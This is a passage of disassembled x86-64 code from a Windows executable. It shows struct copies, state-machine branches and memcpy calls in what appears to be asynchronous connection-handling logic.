movaps xmm1, xmmword [rsp + 0xd40]
movups xmmword [rdi + 0x9e8], xmm0
movups xmmword [rdi + 0x9f8], xmm1
mov rdx, qword [rsp + 0x830]
mov qword [rdi + 0xa08], rdx
mov qword [rdi + 0xa10], 0
mov qword [rdi + 0xa18], 6
mov rdx, qword [rsp + 0x818]
mov qword [rdi + 0xa20], rdx
mov rdx, qword [rsp + 0x7d8]
mov qword [rdi + 0xa28], rdx
mov rdx, qword [rsp + 0x810]
mov qword [rdi + 0xa30], rdx
movss dword [rdi + 0xa38], xmm8
movzx edx, byte [rsp + 0x52]
mov byte [rdi + 0xa3c], dl
movzx edx, byte [rsp + 0x51]
mov byte [rdi + 0xa3d], dl
mov rdx, qword [rsp + 0x838]
mov qword [rdi + 0xa40], rdx
mov rdx, qword [rsp + 0x820]
mov qword [rdi + 0xa48], rdx
mov rdx, qword [rsp + 0x828]
mov qword [rdi + 0xa50], rdx
mov rdx, qword [rsp + 0x7d0]
mov qword [rdi + 0xa58], rdx
mov dword [rdi + 0xa60], r12d
movaps xmm0, xmmword [rsp + 0x330]
movaps xmm1, xmmword [rsp + 0x340]
movups xmmword [rdi + 0xa64], xmm0
movups xmmword [rdi + 0xa74], xmm1
mov edx, dword [rsp + 0x350]
mov dword [rdi + 0xa84], edx
movzx edx, byte [rsp + 0x4d]
mov byte [rdi + 0xa88], dl
mov rdx, qword [rsp + 0x7f0]
mov qword [rdi + 0xa90], rdx
movzx edx, byte [rsp + 0x50]
mov byte [rdi + 0xa98], dl
movzx edx, byte [rsp + 0x4f]
mov byte [rdi + 0xa99], dl
movzx edx, byte [rsp + 0x4e]
mov byte [rdi + 0xa9a], dl
mov rdx, qword [rsp + 0x320]
mov qword [rdi + 0xaa0], rdx
mov rdx, qword [rsp + 0x878]
mov qword [rdi + 0xaa8], rdx
mov rdx, qword [rsp + 0x870]
mov qword [rdi + 0xab0], rdx
mov rdx, qword [rsp + 0x868]
mov qword [rdi + 0xab8], rdx
mov rdx, qword [rsp + 0x848]
mov qword [rdi + 0xac0], rdx
mov rdx, qword [rsp + 0x840]
mov qword [rdi + 0xac8], rdx
mov rdx, qword [rsp + 0x858]
mov qword [rdi + 0xad0], rdx
mov edx, dword [rsp + 0x32c]
mov dword [rdi + 0xad8], edx
mov rdx, qword [rsp + 0x860]
mov qword [rdi + 0xae0], rdx
mov edx, dword [rsp + 0x74]
mov dword [rdi + 0xae8], edx
mov rdx, qword [rsp + 0x850]
mov qword [rdi + 0xaf0], rdx
movlps qword [rdi + 0xaf8], xmm7
mov edx, dword [rsp + 0x328]
mov dword [rdi + 0xb00], edx
movzx edx, byte [rsp + 0x55]
mov byte [rdi + 0xb04], dl
movzx edx, byte [rsp + 0x54]
mov byte [rdi + 0xb05], dl
mov rdx, qword [rsp + 0x808]
mov qword [rdi + 0xb08], rdx
mov rdx, qword [rsp + 0x7e0]
mov qword [rdi + 0xb10], rdx
movlps qword [rdi + 0xb18], xmm6
movzx edx, byte [rsp + 0x53]
mov byte [rdi + 0xb20], dl
movzx edx, byte [rsp + 0x56]
mov byte [rdi + 0xb21], dl
mov rdx, qword [rsp + 0xc68]
mov qword [rdi + 0xb50], rdx
movups xmm0, xmmword [rsp + 0xc3a]
movups xmm1, xmmword [rsp + 0xc4a]
movups xmm2, xmmword [rsp + 0xc5a]
movups xmmword [rdi + 0xb42], xmm2
movups xmmword [rdi + 0xb32], xmm1
movups xmmword [rdi + 0xb22], xmm0
mov byte [rdi + 0xb58], al
mov byte [rdi + 0xb59], r14b
mov byte [rdi + 0xb5a], cl
mov rax, qword [rsp + 0x9ed]
mov qword [rdi + 0xba8], rax
movaps xmm0, xmmword [rsp + 0x9e0]
movups xmmword [rdi + 0xb9b], xmm0
movaps xmm0, xmmword [rsp + 0x9a0]
movaps xmm1, xmmword [rsp + 0x9b0]
movaps xmm2, xmmword [rsp + 0x9c0]
movaps xmm3, xmmword [rsp + 0x9d0]
movups xmmword [rdi + 0xb8b], xmm3
movups xmmword [rdi + 0xb7b], xmm2
movups xmmword [rdi + 0xb6b], xmm1
movups xmmword [rdi + 0xb5b], xmm0
mov rax, qword [rsp + 0x7f8]
mov qword [rdi + 0xbb0], rax
mov rax, qword [rsp + 0x800]
mov qword [rdi + 0xbb8], rax
mov rax, qword [rsp + 0x7e8]
mov qword [rdi + 0xbc0], rax
movzx eax, byte [rsp + 0x57]
mov byte [rdi + 0xbc8], al
mov byte [rdi + 0xbc9], al
mov rbx, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x60]
mov r12, qword [rsp + 0x30]
cmp dword [rdi + 0xa18], 9
je 0x1400628f1
lea r13, [rdi + 0x9d8]
lea rsi, [rdi + 0xa18]
lea rcx, [rsp + 0xfa0]
mov rdx, r13
mov r8, rbx
call fcn.140062de0
cmp byte [rsp + 0x1010], 3
jne 0x14005e1b1
lea rcx, [rsp + 0x600]
mov rdx, rsi
mov r8, rbx
call fcn.140064a50
cmp byte [rsp + 0x670], 3
je 0x14005e2e2
mov r14, qword [rsi]
mov qword [rsi], 9
cmp r14, 9
je 0x140062921
lea rdx, [rdi + 0xa20]
movups xmm0, xmmword [r13]
movups xmm1, xmmword [r13 + 0x10]
movups xmm2, xmmword [r13 + 0x20]
movups xmm3, xmmword [r13 + 0x30]
movaps xmmword [rsp + 0x150], xmm3
movaps xmmword [rsp + 0x140], xmm2
movaps xmmword [rsp + 0x130], xmm1
movaps xmmword [rsp + 0x120], xmm0
mov qword [rsp + 0x160], r14
lea rbx, [rsp + 0x168]
mov r8d, 0x1b0
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [r13]
movups xmm1, xmmword [r13 + 0x10]
movups xmm2, xmmword [r13 + 0x20]
movups xmm3, xmmword [r13 + 0x30]
movups xmmword [rsp + 0x468], xmm0
movups xmmword [rsp + 0x478], xmm1
movups xmmword [rsp + 0x488], xmm2
movups xmmword [rsp + 0x498], xmm3
mov rax, qword [rsp + 0x670]
mov qword [rsp + 0x460], rax
movups xmm0, xmmword [rsp + 0x660]
movaps xmmword [rsp + 0x450], xmm0
movups xmm0, xmmword [rsp + 0x650]
movaps xmmword [rsp + 0x440], xmm0
movups xmm0, xmmword [rsp + 0x640]
movaps xmmword [rsp + 0x430], xmm0
movups xmm0, xmmword [rsp + 0x600]
movups xmm1, xmmword [rsp + 0x610]
movups xmm2, xmmword [rsp + 0x620]
movups xmm3, xmmword [rsp + 0x630]
movaps xmmword [rsp + 0x420], xmm3
movaps xmmword [rsp + 0x410], xmm2
movaps xmmword [rsp + 0x400], xmm1
movaps xmmword [rsp + 0x3f0], xmm0
lea rcx, [rsp + 0x8e0]
lea rdx, [rsp + 0x3f0]
mov r8d, 0xb8
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [r14 - 6]
cmp rcx, 3
mov eax, 1
cmovb rax, rcx
cmp rax, 1
je 0x14005e2e9
test rax, rax
jne 0x14005e322
mov rcx, rbx
call fcn.140065060
jmp 0x14005e322
mov r14, qword [rsi]
mov qword [rsi], 9
cmp r14, 9
je 0x140062921
lea rbx, [rdi + 0xa20]
movups xmm0, xmmword [r13]
movups xmm1, xmmword [r13 + 0x10]
movups xmm2, xmmword [r13 + 0x20]
movups xmm3, xmmword [r13 + 0x30]
movaps xmmword [rsp + 0x150], xmm3
movaps xmmword [rsp + 0x140], xmm2
movaps xmmword [rsp + 0x130], xmm1
movaps xmmword [rsp + 0x120], xmm0
mov qword [rsp + 0x160], r14
lea rcx, [rsp + 0x168]
mov r8d, 0x1b0
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x8e0]
mov r8d, 0xb8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rsp + 0x220]
lea rcx, [rsp + 0xea0]
mov r8d, 0xf8
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [rsp + 0xfa0]
movups xmm1, xmmword [rsp + 0xfb0]
movups xmm2, xmmword [rsp + 0xfc0]
movups xmm3, xmmword [rsp + 0xfd0]
movaps xmmword [rsp + 0x370], xmm0
movaps xmmword [rsp + 0x380], xmm1
movaps xmmword [rsp + 0x390], xmm2
movaps xmmword [rsp + 0x3a0], xmm3
movups xmm0, xmmword [rsp + 0xfe0]
movaps xmmword [rsp + 0x3b0], xmm0
movups xmm0, xmmword [rsp + 0xff0]
movaps xmmword [rsp + 0x3c0], xmm0
movups xmm0, xmmword [rsp + 0x1000]
movaps xmmword [rsp + 0x3d0], xmm0
mov rax, qword [rsp + 0x1010]
mov qword [rsp + 0x3e0], rax
lea rcx, [rsp + 0x120]
call fcn.1400657a0
cmp r14, 0xa
jne 0x14005e328
mov al, 3
jmp 0x14005fbe4
cmp r14, 5
jne 0x14005e30b
movzx eax, byte [rsp + 0x1d8]
cmp eax, 2
je 0x14005e31a
cmp eax, 3
je 0x14005e322
mov rcx, rbx
call fcn.140065440
jmp 0x14005e322
lea rcx, [rsp + 0x160]
call fcn.1400651b0
jmp 0x14005e322
mov rcx, rbx
call fcn.1400366b0
mov r14d, 9
mov word [rdi + 0x9d6], 0x101
movaps xmm0, xmmword [rsp + 0x370]
movdqa xmm1, xmmword [rsp + 0x380]
movdqa xmm2, xmmword [rsp + 0x390]
movdqa xmm3, xmmword [rsp + 0x3a0]
movups xmmword [rdi + 0x7a0], xmm0
movdqu xmmword [rdi + 0x7b0], xmm1
movdqu xmmword [rdi + 0x7c0], xmm2
movdqu xmmword [rdi + 0x7d0], xmm3
movaps xmm0, xmmword [rsp + 0x3b0]
movups xmmword [rdi + 0x7e0], xmm0
movaps xmm0, xmmword [rsp + 0x3c0]
movups xmmword [rdi + 0x7f0], xmm0
movdqa xmm0, xmmword [rsp + 0x3d0]
movdqu xmmword [rdi + 0x800], xmm0
mov rax, qword [rsp + 0x3e0]
mov qword [rdi + 0x810], rax
lea rbx, [rdi + 0x818]
mov qword [rdi + 0x818], r14
lea rcx, [rdi + 0x820]
lea rdx, [rsp + 0x8e0]
mov r8d, 0xb8
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rdi + 0x8d8]
lea rdx, [rsp + 0xea0]
mov r8d, 0xf8
call sub.VCRUNTIME140.dll_memcpy
cmp dword [rdi + 0xa18], 9
je 0x14005e973
mov rcx, r13
call fcn.1400657a0
mov rax, qword [rsi]
lea rdx, [rax - 6]
cmp rdx, 3
mov ecx, 1
cmovb rcx, rdx
cmp rcx, 1
je 0x14005e7ca
test rcx, rcx
jne 0x14005e973
lea rcx, [rdi + 0xa20]
call fcn.140065060
mov qword [rsp + 0x60], rbp
cmp dword [rbx], 9
je 0x14005e981
movzx ebp, byte [rdi + 0x810]
cmp bpl, 2
jne 0x14005e682
mov byte [rdi + 0x9d3], 1
mov r15, qword [rdi + 0x7a0]
mov qword [rdi + 0x9d8], r15
lea rcx, [rsp + 0x120]
mov r8d, 0x1b8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + 0x9d2], 1
cmp byte [r15 + 0x30], 4
jne 0x14005e80b
mov byte [rdi + 0x9d2], 0
lea rcx, [rdi + 0x9e0]
mov r8d, 0x1b8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rsi, [rdi + 0x9e0]
lea rcx, [rsp + 0x3f0]
mov rdx, rsi
mov r8, qword [rsp + 0x78]
call fcn.140064a50
movzx ebp, byte [rsp + 0x460]
cmp bpl, 3
je 0x14005fbe2
mov rbx, qword [rsp + 0x3f0]
mov r15, qword [rsp + 0x3f8]
movups xmm0, xmmword [rsp + 0x400]
movaps xmmword [rsp + 0xdb0], xmm0
movups xmm0, xmmword [rsp + 0x410]
movaps xmmword [rsp + 0xdc0], xmm0
movups xmm0, xmmword [rsp + 0x420]
movaps xmmword [rsp + 0xdd0], xmm0
movups xmm0, xmmword [rsp + 0x430]
movaps xmmword [rsp + 0xde0], xmm0
movups xmm0, xmmword [rsp + 0x440]
movaps xmmword [rsp + 0xdf0], xmm0
movdqu xmm0, xmmword [rsp + 0x450]
movdqa xmmword [rsp + 0xe00], xmm0
mov eax, dword [rsp + 0x461]
mov dword [rsp + 0x110], eax
mov eax, dword [rsp + 0x464]
mov dword [rsp + 0x113], eax
mov rax, qword [rsi]
lea rdx, [rax - 6]
cmp rdx, 3
mov ecx, 1
cmovb rcx, rdx
cmp rcx, 1
je 0x14005e642
test rcx, rcx
jne 0x14005e7ac
cmp eax, 5
jne 0x14005e7a4
mov r14, qword [rdi + 0x7a0]
mov r15, qword [rdi + 0x7a8]
movups xmm0, xmmword [rdi + 0x800]
movaps xmmword [rsp + 0xda0], xmm0
movups xmm0, xmmword [rdi + 0x7f0]
movaps xmmword [rsp + 0xd90], xmm0
movups xmm0, xmmword [rdi + 0x7e0]
movaps xmmword [rsp + 0xd80], xmm0
movups xmm0, xmmword [rdi + 0x7d0]
movaps xmmword [rsp + 0xd70], xmm0
movups xmm0, xmmword [rdi + 0x7c0]
movaps xmmword [rsp + 0xd60], xmm0
movups xmm0, xmmword [rdi + 0x7b0]
movaps xmmword [rsp + 0xd50], xmm0
mov eax, dword [rdi + 0x811]
mov ecx, dword [rdi + 0x814]
mov dword [rsp + 0x108], eax
mov dword [rsp + 0x10b], ecx
lea rcx, [rsp + 0xfa0]
mov r8d, 0x1b8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
cmp dword [rsp + 0xfa0], 6
jne 0x14005e8d4
lea rax, [rdi + 0x7b0]
lea rcx, [rdi + 0x811]
movups xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0xe0], xmm0
movups xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0xd0], xmm0
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movdqu xmm2, xmmword [rax + 0x20]
movdqu xmm3, xmmword [rax + 0x30]
movdqa xmmword [rsp + 0xc0], xmm3
movdqa xmmword [rsp + 0xb0], xmm2
movdqa xmmword [rsp + 0xa0], xmm1
movdqa xmmword [rsp + 0x90], xmm0
mov eax, dword [rcx]
mov ecx, dword [rcx + 3]
mov dword [rsp + 0x58], eax
mov dword [rsp + 0x5b], ecx
lea rcx, [rsp + 0xfa8]
call fcn.140065060
jmp 0x14005ed63
cmp eax, 5
jne 0x14005e96b
lea rcx, [rdi + 0xa20]
movzx eax, byte [rdi + 0xa90]
cmp eax, 2
je 0x14005fbf5
cmp eax, 3
je 0x14005e973
call fcn.140065440
mov qword [rsp + 0x60], rbp
cmp dword [rbx], 9
je 0x14005e981
jmp 0x14005e449
mov byte [rdi + 0x9d3], 0
mov bpl, 2
xor r14d, r14d
mov rax, qword [rsp + 0x120]
lea rdx, [rax - 6]
cmp rdx, 3
mov ecx, 1
cmovb rcx, rdx
cmp rcx, 1
je 0x14005e865
test rcx, rcx
jne 0x14005e8ac
lea rcx, [rsp + 0x128]
call fcn.140065060
mov byte [rdi + 0x9d2], 0
cmp byte [rdi + 0x9d3], 0
jne 0x14005e8bc
cmp eax, 5
jne 0x14005e89f
lea rcx, [rsp + 0x128]
movzx eax, byte [rsp + 0x198]
cmp eax, 2
je 0x14005fbc0
lea rcx, [rsp + 0x120]
call fcn.1400651b0
mov byte [rdi + 0x9d2], 0
cmp byte [rdi + 0x9d3], 0
je 0x14005e859
lea rcx, [rsp + 0x1160]
mov r8d, 0x1b8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x768]
mov r13, qword [rax + 0x68]
test r13, r13
je 0x14005f97f
mov qword [rsp + 0x30], r12
mov r12, qword [rax + 0x70]
mov rbx, qword [r12 + 0x10]
movzx eax, byte [0x14017d2b0]
mov edx, 0x1b8
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x140062a42
mov rsi, rax
dec rbx
and rbx, 0xfffffffffffffff0
add rbx, r13
add rbx, 0x10
lea rdx, [rsp + 0x1160]
mov r8d, 0x1b8
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea r8, [0x14013d590]
mov rcx, rbx
mov rdx, rsi
call qword [r12 + 0x18]
mov r12, qword [rsp + 0x30]
jmp 0x14005fd3f
mov rcx, rsi
call fcn.1400651b0
mov qword [rsp + 0x60], rbp
cmp dword [rbx], 9
jne 0x14005e449
movzx ebp, byte [rdi + 0x890]
cmp bpl, 2
jne 0x14005ec57
mov byte [rdi + 0x9d5], 1
mov r15, qword [rdi + 0x820]
mov qword [rdi + 0x9d8], r15
mov byte [rdi + 0x9d4], 1
movdqu xmm0, xmmword [rdi + 0x898]
movdqu xmm1, xmmword [rdi + 0x8a8]
movdqu xmm2, xmmword [rdi + 0x8b8]
movdqu xmm3, xmmword [rdi + 0x8c8]
movdqa xmmword [rsp + 0x420], xmm3
movdqa xmmword [rsp + 0x410], xmm2
movdqa xmmword [rsp + 0x400], xmm1
movdqa xmmword [rsp + 0x3f0], xmm0
cmp byte [r15 + 0x30], 4
jne 0x14005ed26
lea rax, [rdi + 0x898]
mov byte [rdi + 0x9d4], 0
movups xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movdqu xmm2, xmmword [rax + 0x20]
movdqu xmm3, xmmword [rax + 0x30]
movups xmmword [rdi + 0x9e0], xmm0
movdqu xmmword [rdi + 0x9f0], xmm1
movdqu xmmword [rdi + 0xa00], xmm2
movdqu xmmword [rdi + 0xa10], xmm3
mov qword [rsp + 0x30], r12
lea rsi, [rdi + 0x9e0]
lea rcx, [rsp + 0x120]
mov rdx, rsi
mov r8, qword [rsp + 0x78]
call fcn.140062de0
movzx ebp, byte [rsp + 0x190]
cmp bpl, 3
je 0x14005fbde
mov rcx, rsi
mov r12, qword [rsp + 0x120]
mov r15, qword [rsp + 0x128]
movups xmm0, xmmword [rsp + 0x130]
movaps xmmword [rsp + 0xe10], xmm0
movups xmm0, xmmword [rsp + 0x140]
movaps xmmword [rsp + 0xe20], xmm0
movups xmm0, xmmword [rsp + 0x150]
movaps xmmword [rsp + 0xe30], xmm0
movups xmm0, xmmword [rsp + 0x160]
movaps xmmword [rsp + 0xe40], xmm0
movups xmm0, xmmword [rsp + 0x170]
movaps xmmword [rsp + 0xe50], xmm0
movdqu xmm0, xmmword [rsp + 0x180]
movdqa xmmword [rsp + 0xe60], xmm0
mov eax, dword [rsp + 0x191]
mov dword [rsp + 0x118], eax
mov eax, dword [rsp + 0x194]
mov dword [rsp + 0x11b], eax
call fcn.1400657a0
cmp bpl, 2
jne 0x14005eba5
mov bpl, 2
xor r14d, r14d
cmp byte [rdi + 0x9d1], 0
je 0x14005ec3d
movaps xmm0, xmmword [rsp + 0xe60]
movaps xmmword [rsp + 0xe0], xmm0
movaps xmm0, xmmword [rsp + 0xe50]
movaps xmmword [rsp + 0xd0], xmm0
movdqa xmm0, xmmword [rsp + 0xe10]
movdqa xmm1, xmmword [rsp + 0xe20]
movdqa xmm2, xmmword [rsp + 0xe30]
movdqa xmm3, xmmword [rsp + 0xe40]
movdqa xmmword [rsp + 0xc0], xmm3
movdqa xmmword [rsp + 0xb0], xmm2
movdqa xmmword [rsp + 0xa0], xmm1
movdqa xmmword [rsp + 0x90], xmm0
mov eax, dword [rsp + 0x118]
mov ecx, dword [rsp + 0x11b]
mov dword [rsp + 0x58], eax
mov dword [rsp + 0x5b], ecx
mov r14, r12
cmp byte [rdi + 0x9d4], 0
mov r12, qword [rsp + 0x30]
jne 0x14005ed33
mov r14, qword [rdi + 0x820]
mov r15, qword [rdi + 0x828]
movups xmm0, xmmword [rdi + 0x880]
movaps xmmword [rsp + 0xe0], xmm0
movups xmm0, xmmword [rdi + 0x870]
movaps xmmword [rsp + 0xd0], xmm0
movups xmm0, xmmword [rdi + 0x860]
movaps xmmword [rsp + 0xc0], xmm0
movups xmm0, xmmword [rdi + 0x850]
movaps xmmword [rsp + 0xb0], xmm0
movups xmm0, xmmword [rdi + 0x840]
movaps xmmword [rsp + 0xa0], xmm0
movups xmm0, xmmword [rdi + 0x830]
movaps xmmword [rsp + 0x90], xmm0
mov eax, dword [rdi + 0x891]
mov ecx, dword [rdi + 0x894]
mov dword [rsp + 0x58], eax
mov dword [rsp + 0x5b], ecx
movdqu xmm0, xmmword [rdi + 0x898]
movdqu xmm1, xmmword [rdi + 0x8a8]
movdqu xmm2, xmmword [rdi + 0x8b8]
movdqu xmm3, xmmword [rdi + 0x8c8]
movdqa xmmword [rsp + 0x150], xmm3
movdqa xmmword [rsp + 0x140], xmm2
movdqa xmmword [rsp + 0x130], xmm1
movdqa xmmword [rsp + 0x120], xmm0
lea rcx, [rsp + 0x120]
call fcn.1400657a0
jmp 0x14005ed63
mov byte [rdi + 0x9d5], 0
mov bpl, 2
xor r14d, r14d
lea rcx, [rsp + 0x3f0]
call fcn.1400657a0
mov byte [rdi + 0x9d4], 0
cmp byte [rdi + 0x9d5], 0
je 0x14005ed5c
lea rcx, [rdi + 0x9d8]
call fcn.1400366b0
mov byte [rdi + 0x9d5], 0
mov word [rdi + 0x9d6], 0
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0xcc0], xmm0
movaps xmm0, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0xcb0], xmm0
movaps xmm0, xmmword [rsp + 0x90]
movaps xmm1, xmmword [rsp + 0xa0]
movaps xmm2, xmmword [rsp + 0xb0]
movaps xmm3, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0xca0], xmm3
movaps xmmword [rsp + 0xc90], xmm2
movaps xmmword [rsp + 0xc80], xmm1
movaps xmmword [rsp + 0xc70], xmm0
mov eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x5b]
mov dword [rsp + 0xf8], eax
mov dword [rsp + 0xfb], ecx
mov byte [rdi + 0x9d0], 1
movaps xmm0, xmmword [rsp + 0xc70]
movdqa xmm1, xmmword [rsp + 0xc80]
movdqa xmm2, xmmword [rsp + 0xc90]
movdqa xmm3, xmmword [rsp + 0xca0]
movaps xmmword [rsp + 0xcd0], xmm0
movdqa xmmword [rsp + 0xce0], xmm1
movdqa xmmword [rsp + 0xcf0], xmm2
movdqa xmmword [rsp + 0xd00], xmm3
movaps xmm0, xmmword [rsp + 0xcb0]
movaps xmmword [rsp + 0xd10], xmm0
movdqa xmm0, xmmword [rsp + 0xcc0]
movdqa xmmword [rsp + 0xd20], xmm0
mov eax, dword [rsp + 0xf8]
mov ecx, dword [rsp + 0xfb]
mov dword [rsp + 0x103], ecx
mov dword [rsp + 0x100], eax
mov rcx, r12
call fcn.140066010
cmp bpl, 2
jne 0x14005ef32
mov bl, 1
mov r13d, 3
test r14, r14
je 0x14005f49c
movaps xmm0, xmmword [rsp + 0xd20]
movaps xmmword [rsp + 0x170], xmm0
movaps xmm0, xmmword [rsp + 0xd10]
movaps xmmword [rsp + 0x160], xmm0
movaps xmm0, xmmword [rsp + 0xcd0]
movaps xmm1, xmmword [rsp + 0xce0]
movaps xmm2, xmmword [rsp + 0xcf0]
movaps xmm3, xmmword [rsp + 0xd00]
movaps xmmword [rsp + 0x150], xmm3
movaps xmmword [rsp + 0x140], xmm2
movaps xmmword [rsp + 0x130], xmm1
movaps xmmword [rsp + 0x120], xmm0
mov qword [rdi + 0x730], r14
mov qword [rdi + 0x738], r15
movaps xmm0, xmmword [rsp + 0x120]
movdqa xmm1, xmmword [rsp + 0x130]
movdqa xmm2, xmmword [rsp + 0x140]
movdqa xmm3, xmmword [rsp + 0x150]
movups xmmword [rdi + 0x740], xmm0
movdqu xmmword [rdi + 0x750], xmm1
movdqu xmmword [rdi + 0x760], xmm2
movdqu xmmword [rdi + 0x770], xmm3
movaps xmm0, xmmword [rsp + 0x160]
movups xmmword [rdi + 0x780], xmm0
movdqa xmm0, xmmword [rsp + 0x170]
movdqu xmmword [rdi + 0x790], xmm0
mov byte [rdi + 0x7a0], bpl
mov eax, dword [rsp + 0x100]
mov ecx, dword [rsp + 0x103]
mov dword [rdi + 0x7a1], eax
mov dword [rdi + 0x7a4], ecx
lea r14, [rdi + 0x628]
mov rcx, qword [rdi + 0x6f8]
test rcx, rcx
je 0x14005f283
mov eax, 1
lock xadd qword [0x14017d058], rax
mov qword [rsp + 0x5b0], rax
lea rcx, [rsp + 0x600]
mov r8d, 0x1b8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x5b0]
mov qword [rsp + 0x7b8], rax
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14005fa0f
test eax, eax
jne 0x140062ab8
lea rcx, [rsp + 0x3f0]
lea rdx, [rsp + 0x600]
mov r8d, 0x1c0
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xd0]
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x140062a51
mov al, 5
jmp 0x14005fbe4
mov al, 4
mov rcx, qword [rsp + 0x368]
mov byte [rcx], al
mov al, 3
jmp 0x1400617cd
call fcn.1400366b0
mov qword [rsp + 0x60], rbp
cmp dword [rbx], 9
je 0x14005e981
jmp 0x14005e449
mov rcx, rax
or rcx, 4
lock cmpxchg qword [r12 + 0x30], rcx
cmpxchg qword [r12 + 0x30], rcx
cmpxchg qword [r12 + 0x30], rcx
jne 0x1400603f0
and eax, 0xa
cmp eax, 8
jne 0x140060415
mov rax, qword [r12 + 0x10]
mov rcx, qword [r12 + 0x18]
adc byte [rcx - 0x75], cl
and al, 0x18
call qword [rax + 0x10]
lock dec qword [r12]
jne 0x140060424
mov rcx, r12
call fcn.1400661d0
mov qword [rsp + 0x120], rbx
mov qword [rsp + 0x128], r14
mov qword [rsp + 0x130], rsi
lea rcx, [rsp + 0x138]
lea rdx, [rsp + 0x16e8]
mov r8d, pe_nt_image_headers64
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x220]
mov qword [rsp + 0x220], 0
mov qword [rsp + 0x228], 1
mov qword [rsp + 0x230], r12
call fcn.1400662a0
mov ebp, 1
xor r13d, r13d
cmp rbx, 3
je 0x1400607ff
mov r12, rsi
mov rsi, rbx
movzx eax, byte [0x14017d2b0]
mov edx, 0x38
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x140062960
mov rbx, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 4
lea rdx, str.connection_was_not_readydispatch_dropped_without_returning_error
mov r8d, 0x18
mov rcx, rax
call fcn.140066470
lea r15, [rsp + 0x120]
lea rdx, [rsp + 0x16e8]
mov r8d, pe_nt_image_headers64
mov rcx, r15
call sub.VCRUNTIME140.dll_memcpy
mov rdx, r15
mov ebp, 1
mov r13d, 1
jmp 0x1400607fa
mov r15, r14
jmp 0x140060812
mov esi, 6
xor r15d, r15d
mov r12, r14
lea rdx, [rsp + 0x120]
lea r14, [rsp + 0x600]
mov r8d, pe_nt_image_headers64
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov qword [rdi + 0x7a8], rbp
mov qword [rdi + 0x7b0], r13
mov qword [rdi + 0x7b8], rbx
mov qword [rdi + 0x7c0], rsi
mov qword [rdi + 0x7c8], r15
mov qword [rdi + 0x7d0], r12
lea rcx, [rdi + 0x7d8]
mov r8d, pe_nt_image_headers64
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rsi, [rdi + 0x7a8]
lea rax, [rdi + 0x7b8]
mov qword [rsp + 0x38], rax
test rbp, rbp
je 0x140060ba6
cmp qword [rdi + 0x7b0], 0
jne 0x140060bb0
mov qword [rsp + 0x40], rsi
lea rsi, [rdi + 0x7c8]
lea rax, [rdi + 0x7d0]
mov qword [rsp + 0x30], rax
lea r15, [rsp + 0x130]
lea r14, [rdi + 0x868]
mov r13, qword [rdi + 0x7c0]
lea rbx, [rsp + 0x120]
jmp 0x1400609df
lea rax, [r13 - 6]
cmp rax, 3
mov ecx, 1
cmovae rax, rcx
test rax, rax
jne 0x140060f16
cmp qword [rdi + 0x7b0], 0
je 0x140060bf7
mov r15, qword [rdi + 0x7b8]
mov r13, qword [rdi + 0x7c0]
mov qword [rdi + 0x7c0], 5
cmp r13, 5
je 0x140062939
lea rdx, [rdi + 0x7c8]
lea rcx, [rsp + 0x3f0]
mov r8d, 0xf8
call sub.VCRUNTIME140.dll_memcpy
mov rbp, qword [rsp + 0x60]
jmp 0x140060f71
mov qword [rsp + 0x40], rsi
lea rsi, [rdi + 0x7c8]
lea rax, [rdi + 0x7d0]
mov qword [rsp + 0x30], rax
lea r15, [rsp + 0x130]
lea r14, [rdi + 0x868]
mov r13, qword [rdi + 0x7c0]
lea rbx, [rsp + 0x120]
jmp 0x140060d4f
lea rax, [r13 - 6]
cmp rax, 3
mov ecx, 1
cmovae rax, rcx
test rax, rax
jne 0x140060f16
mov byte [rsi], 0
lea rcx, [rsp + 0x15c8]
lea rdx, [rsp + 0x1320]
mov r8d, 0x90
call sub.VCRUNTIME140.dll_memcpy
movaps xmm0, xmmword [rsp + 0x880]
movaps xmm1, xmmword [rsp + 0x890]
movaps xmm2, xmmword [rsp + 0x8a0]
movaps xmm3, xmmword [rsp + 0x8b0]
movaps xmmword [rsp + 0xa20], xmm0
movaps xmmword [rsp + 0xa30], xmm1
movaps xmmword [rsp + 0xa40], xmm2
movaps xmmword [rsp + 0xa50], xmm3
movaps xmm0, xmmword [rsp + 0x8c0]
movaps xmmword [rsp + 0xa60], xmm0
mov rax, qword [rsp + 0x8d0]
mov qword [rsp + 0xa70], rax
mov rax, qword [rsp + 0x88]
mov byte [rax], 1
cmp r13, 5
je 0x1400617d7
lea rcx, [rsp + 0x13b0]
lea rdx, [rsp + 0x15c8]
